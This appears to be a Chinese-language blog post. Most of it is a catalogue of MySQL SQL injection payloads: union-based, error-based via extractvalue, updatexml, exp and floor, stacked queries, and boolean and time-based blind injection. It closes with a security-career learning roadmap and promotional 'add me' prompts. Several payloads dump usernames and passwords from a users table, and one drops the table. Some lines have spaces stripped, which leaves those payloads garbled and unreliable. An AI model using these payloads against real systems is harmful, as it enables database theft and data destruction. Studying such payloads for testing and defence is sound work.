联合注入Payload
报错注入Payload
extractvalue函数
updatexml函数
BigInt数据类型溢出
floor函数
堆叠注入Payload
盲注Payload
布尔盲注
#查字段 1' order by 1# 1' order by 100# #联合查询(假设字段为3) -1' union select 1,2,3# //-1使页面报错,方便显示 #查所有数据库名(假设回显为2) -1' union select 1,database(),3# -1' union select 1,database(),3 from information_schema.tables# #查看版本 -1' union select 1,version(),3# #查指定库的表名 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'# #查指定表的列名 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='库名' and table_name='表名'# #查看指定列名的内容 -1' union select 1,group_concat(列名1,0x3a,列名2),3 from 库名.列名#
#extractvalue() //空格和"="被过滤的情况 1'^extractvalue(1,concat(0x5c,(select(database()))))# //爆库名 1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('库名'))))# //查表名 1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('表名'))))# //查列名 1'^extractvalue(1,concat(0x7e,(select(left(列名,30))from(库名.表名))))# //查从左数30个字段 1'^extractvalue(1,concat(0x7e,(select(right(列名,30))from(库名.表名))))#
#updatexml()函数 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# //爆库 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),0x7e),1)# //查表名 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),0x7e),1)# //查列名 1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)# //查数据
#BigInt数据类型溢出--exp()或pow() 1' and exp(~(select * from (select user())a))# //查看当前库的权限 1' and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))# //查表名 1' and exp(~(select * from (select column_name from information_schema.columns where table_name='表名' limit 0,1)a))# //查列名 1' and exp(~(select * from(select '列名' from '表名' limit 0,1)))# //获取对应信息
#floor()函数 1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
`1';show databases;# //查库名· 1';show tables;# //查表名 1';show columns from `表名`;# //查列名,表名用反引号包围 `
`1';RENAME TABLE `表1` TO `表2`;RENAME TABLE `表3` TO `表1`;ALTER TABLE `表1` CHANGE `列1` `列2` VARCHAR(100) ;show columns from 表1;# //将表1改名为表2,将表3改名为表1,再将表1的列1改为列2,最后查看表1的列名信息 //适用于查看没有权限的表 `
1';HANDLER 表名 OPEN;HANDLER 表名 READ FIRST;HANDLER 表名 CLOSE;# //此方法使用于在查列时select被禁的情况,逻辑为打开指定表名,读取表中第一行数据,关闭表并释放资源。
1;set sql_mode=PIPES_AS_CONCAT;select 1 //适用于后端代码采用'||'判断的情况。
`PREPARE hacker from concat('s','elect', ' * from `表名` '); EXECUTE hacker;# //绕过特定字符串的过滤 set@a=hex编码值;prepare hacker from @a;execute hacker;# //结合hex(进制)编码实现绕过 `
基于布尔盲注Payload:
id=1 AND (SELECT COUNT(*) FROM users) > 0
id=1 AND SUBSTRING((SELECT version()), 1, 1) = '5'
id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) = 97
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public') > 10
id=1 AND LENGTH((SELECT database())) = 6
基于时间盲注Payload:
id=1; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), NULL)
id=1; IF((SELECT ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1))) = 97, BENCHMARK(10000000, MD5('a')), NULL)
id=1; IF(EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='public' AND table_name='users'), BENCHMARK(5000000, SHA1('a')), NULL)
id=1; IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 5, SLEEP(2), NULL)
id=1; IF((SELECT SUM(LENGTH(username)) FROM users) > 20, BENCHMARK(3000000, MD5('a')), NULL)
错误基于盲注Payload:
id=1 UNION ALL SELECT 1,2,table_name FROM information_schema.tables
id=1 UNION ALL SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users'
id=1 UNION ALL SELECT username,password,3 FROM users
id=1'; SELECT * FROM users WHERE username='admin' --
id=1'; DROP TABLE users; --
1' and length(database())>20 # //判断数据库名称长度是否大于20
SELECT length('Hello World'); -- 输出 11 SELECT length(column_name) FROM table_name; -- 计算表中某一列的长度
`1' and ascii(substr(database(),1,1))>20 #`
1' and (select count(table_name) from information_schema.tables where table_schema=database()) <10#
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 10 #
`1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #`
`//第一个字符 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))判断表达式 # //第二个字符 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 # //第三个字符 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))判断表达式 #`
`1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')判断表达式 #`
//判断第一个列名长度 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))判断表达式 # //判断第二个列名长度 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))判断表达式 #
//获取 users 表中第一个列名的第一个字符 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users'limit0,1),1,1))判断表达式 # //获取 users 表中第二个列名的第一个字符 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))判断表达式 # //获取 users 表中第三个列名的第一个字符 1'andascii(substr((select column_name from information_schema.columns where table_name = 'users'limit2,1),1,1))判断表达式 # //获取 users 表中第三个列名的第二个字符 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))判断表达式 # //获取 users 表中第三个列名的第三个字符 1'andascii(substr((select column_name from information_schema.columns where table_name = 'users'limit2,1),3,1))判断表达式 #
//获取列中第一个字段长度 1' and length(substr((select user from users limit 0,1),1))判断表达式 # //获取列中第二个字段长度 1' and length(substr((select user from users limit 1,1),1))判断表达式 #
//获取第一个字段的第一个字符 1' and ascii(substr((selectuserfromuserslimit0,1),1,1))判断表达式 # //获取第一个字段的第二个字符 1' and ascii(substr((select user from users limit 0,1),2,1))判断表达式 # //获取第二个字段的第一个字符 1'andascii(substr((selectuserfromuserslimit1,1),1,1))判断表达式 # //获取第二个字段的第二个字符 1' and ascii(substr((select user from users limit 1,1),2,1))判断表达式 #
1' and if(length(database())=1,sleep(5),1) if(expr1,expr2,expr3)函数:
1' and if(ascii(substr(database(),1,1))>90,sleep(5),1)#
`1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)`
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9,sleep(5),1) #
1' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1) >= 100 and sleep(5)#
//获得第一个表名称的第二个字符 1' and (select ascii(substr(table_name, 2, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)# //获得第一个表名称的第三个字符 1' and (select ascii(substr(table_name, 3, 1)) from information_schema.tables where table_schema = 'dvwa' limit 1)判断表达式 and sleep(5)#
//获得第二个表名称的第一个字符 1' and (selectascii(substr(table_name, 1, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa'limit1,1) as second_table limit1) 判断表达式 andsleep(5)# //获得第二个表名称的第二个字符 1' and (select ascii(substr(table_name, 2, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa' limit 1,1) as second_table limit 1) 判断表达式 and sleep(5)# //获得第二个表名称的第三个字符 1'and (selectascii(substr(table_name, 3, 1)) from (select table_name from information_schema.tables where table_schema = 'dvwa'limit1,1) as second_table limit1) 判断表达式 andsleep(5)# //以此类推
`1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'guestbook')=3,sleep(5),1) #`
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'guestbook' limit 0,1),1))判断表达式,sleep(5),1) #
获取第一个列名的第一个字符
1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) #
//获取第一个列名的第二个字符 1' and if((selectascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook'limit0,1) = 判断表达式, sleep(5), 1) # //获取第一个列名的第三个字符 1' and if((select ascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook' limit 0,1) = 判断表达式, sleep(5), 1) # //获取第二个列名的第一个字符 1'andif((selectascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook'limit1,1) = ASCII_VALUE, sleep(5), 1) # //获取第二个列名的第二个字符 1' and if((select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name = 'guestbook' limit 1,1) = ASCII_VALUE, sleep(5), 1) # //获取第二个列名的第三个字符 1'andif((selectascii(substr(column_name, 3, 1)) from information_schema.columns where table_name = 'guestbook'limit1,1) = ASCII_VALUE, sleep(5), 1) # //获取第三个列名的第一个字符 1' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'guestbook' limit 2,1) = ASCII_VALUE, sleep(5), 1) #
1' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) #
//获取 user 列名的第一个字段的第二个字符 1' and if((selectascii(substring(column_name, 2, 1)) from information_schema.columns where table_name = 'users'limit0,1)判断表达式, sleep(5), 1) # //获取 user 列名的第一个字段的第三个字符 1' and if((select ascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users' limit 0,1)判断表达式, sleep(5), 1) # //获取 user 列名的第二个字段的第一个字符 1'andif((SELECTASCII(SUBSTRING(column_name, 1, 1)) FROM information_schema.columns WHERE table_name = 'users'LIMIT1, 1)判断表达式, sleep(5), 1) # //获取 user 列名的第二个字段的第二个字符 1' and if((SELECT ASCII(SUBSTRING(column_name, 2, 1)) FROM information_schema.columns WHERE table_name = 'users' LIMIT 1, 1)判断表达式, sleep(5), 1) # //获取 user 列名的第二个字段的第三个字符 1'andif((selectascii(substring(column_name, 3, 1)) from information_schema.columns where table_name = 'users'limit1,1)判断表达式, sleep(5), 1) #
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
①数据库基础
②SQL语言基础
③数据库安全加固
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!